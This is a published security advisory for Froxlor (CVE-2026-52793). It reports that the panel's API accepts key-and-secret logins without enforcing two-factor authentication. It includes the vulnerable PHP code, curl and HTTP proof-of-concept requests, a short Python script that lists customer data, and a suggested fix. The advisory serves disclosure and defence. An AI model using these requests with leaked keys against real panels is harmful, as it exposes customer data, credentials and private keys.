GHSA-f9rx-7wf7-jr36

Suggest an improvement
Source
https://github.com/advisories/GHSA-f9rx-7wf7-jr36
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-f9rx-7wf7-jr36/GHSA-f9rx-7wf7-jr36.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-f9rx-7wf7-jr36
Aliases
  • CVE-2026-52793
Published
2026-06-03T21:41:12Z
Modified
2026-06-09T13:15:15.848502522Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
Froxlor's API Authentication bypasses 2FA Authentication
Details

Summary

Froxlor's API authentication (FroxlorRPC::validateAuth) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.

An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.

Affected Code

Web UI — 2FA enforced (index.php:82-149):

if ($result['type_2fa'] != 0) {
    // Redirects to 2FA input page
    // Calls FroxlorTwoFactorAuth::verifyCode()
    // Login is NOT completed without valid TOTP code
}

API — 2FA absent (lib/Froxlor/Api/FroxlorRPC.php:75-105):

private static function validateAuth(string $key, string $secret): bool
{
    $sel_stmt = Database::prepare("
        SELECT ak.*, a.api_allowed as admin_api_allowed,
               c.api_allowed as cust_api_allowed, c.deactivated
        FROM `api_keys` ak
        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
        WHERE `apikey` = :ak AND `secret` = :as
    ");
    $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);
    if ($result) {
        if ($result['apikey'] == $key && $result['secret'] == $secret
            && ($result['valid_until'] == -1 || $result['valid_until'] >= time())
            && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)
                || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1
                    && $result['deactivated'] == 0))) {
            // Checks: key match, secret match, not expired, API allowed, not deactivated
            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status
            return true;
        }
    }
    throw new Exception('Invalid authorization credentials', 403);
}

There are zero references to 2FA, TOTP, type_2fa, or FroxlorTwoFactorAuth in the entire lib/Froxlor/Api/ directory:

$ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/
# (no output)

PoC

Environment

  • Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
  • API enabled (api.enabled=1)
  • Admin account has 2FA enabled (type_2fa=1, TOTP configured)
  • Admin has an API key

Step 1: Confirm 2FA blocks web UI login

POST /index.php HTTP/1.1
Host: panel.example.com
Content-Type: application/x-www-form-urlencoded

loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send

Result: Redirect to index.php?showmessage=4 — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.

Step 2: Authenticate via API — no TOTP required

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{"command":"Customers.listing","params":{}}' \
  https://panel.example.com/api.php

Result: HTTP 200 with full customer listing:

{
  "data": {
    "list": [
      {
        "loginname": "testcust",
        "email": "test@froxlor.lab",
        "name": "Test",
        "firstname": "Customer"
      }
    ]
  }
}

No TOTP code was provided. No 2FA prompt was returned. Full access granted.

Step 3: Access additional sensitive resources

All of these succeed without any 2FA challenge:

# Domains
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
# FTP accounts (home directories, credentials)
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
# Email accounts
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
# MySQL databases
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
# SSL certificates (private keys)
curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php
# DNS records
curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php

165 API functions are accessible, including write operations (Customers.update, Domains.add, Ftps.add, etc.).

Automated PoC Script

#!/usr/bin/env python3
"""Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)"""
import json, sys, requests, urllib3
urllib3.disable_warnings()

target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]

r = requests.post(f"{target}/api.php", auth=(key, secret),
    json={"command": "Customers.listing", "params": {}}, verify=False)
data = r.json()

print(f"HTTP {r.status_code}")
if "data" in data:
    for c in data["data"].get("list", []):
        print(f"  {c['loginname']} | {c['email']}")
    print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.")

Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET

Impact

When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:

  • Customer data: PII (name, email, address) readable and modifiable
  • Domains: Full control over domains, subdomains, DNS records
  • Email accounts: Create, read, delete email accounts and forwarders
  • FTP accounts: Access home directory paths and credentials
  • MySQL databases: Full database management
  • SSL certificates: Read private keys, modify certificate bindings
  • 165 API functions: Including all write operations

API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.

Comparison with CVE-2023-3173

CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as Critical ($60 bounty) and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.

Suggested Fix

Add 2FA verification to FroxlorRPC::validateAuth(). When the authenticated user has type_2fa != 0, require a TOTP code as an additional API parameter:

// lib/Froxlor/Api/FroxlorRPC.php, after line 100:
// Check 2FA if enabled for this user
if (!empty($result['adminid'])) {
    $user = Database::pexecute_first(
        Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"),
        ['id' => $result['adminid']]
    );
} else {
    $user = Database::pexecute_first(
        Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"),
        ['id' => $result['customerid']]
    );
}
if ($user && $user['type_2fa'] != 0) {
    // Require X-2FA-Code header or 'totp_code' in request body
    $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null;
    if (empty($totp_code)) {
        throw new Exception('2FA code required', 401);
    }
    $tfa = new FroxlorTwoFactorAuth($user['data_2fa']);
    if (!$tfa->verifyCode($totp_code)) {
        throw new Exception('Invalid 2FA code', 403);
    }
}

Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-287"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:41:12Z"
}
References

Affected packages

Packagist / froxlor/froxlor

Package

Name
froxlor/froxlor
Purl
pkg:composer/froxlor%2Ffroxlor

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.3.7

Affected versions

0.*
0.10.0-rc1
0.10.0-rc2
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.10.5
0.10.6
0.10.7
0.10.8
0.10.9
0.10.10
0.10.11
0.10.12
0.10.13
0.10.14
0.10.15
0.10.16
0.10.17
0.10.18
0.10.19
0.10.20
0.10.21
0.10.22
0.10.23
0.10.23.1
0.10.24
0.10.25
0.10.26
0.10.27
0.10.28
0.10.29
0.10.29.1
0.10.30
0.10.31
0.10.32
0.10.33
0.10.34
0.10.34.1
0.10.35
0.10.35.1
0.10.36
0.10.37
0.10.38
0.10.38.1
0.10.38.2
0.10.38.3
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.0.12
2.0.13
2.0.14
2.0.15
2.0.16
2.0.17
2.0.18
2.0.19
2.0.20
2.0.21
2.0.22
2.0.23
2.0.24
2.1.0-beta1
2.1.0-beta2
2.1.0-rc1
2.1.0-rc2
2.1.0-rc3
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.1.5
2.1.6
2.1.7
2.1.8
2.1.9
2.2.0-rc1
2.2.0-rc2
2.2.0-rc3
2.2.0
2.2.1
2.2.2
2.2.3
2.2.4
2.2.5
2.2.6
2.2.7
2.2.8
2.3.0-rc1
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.3.5
2.3.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-f9rx-7wf7-jr36/GHSA-f9rx-7wf7-jr36.json"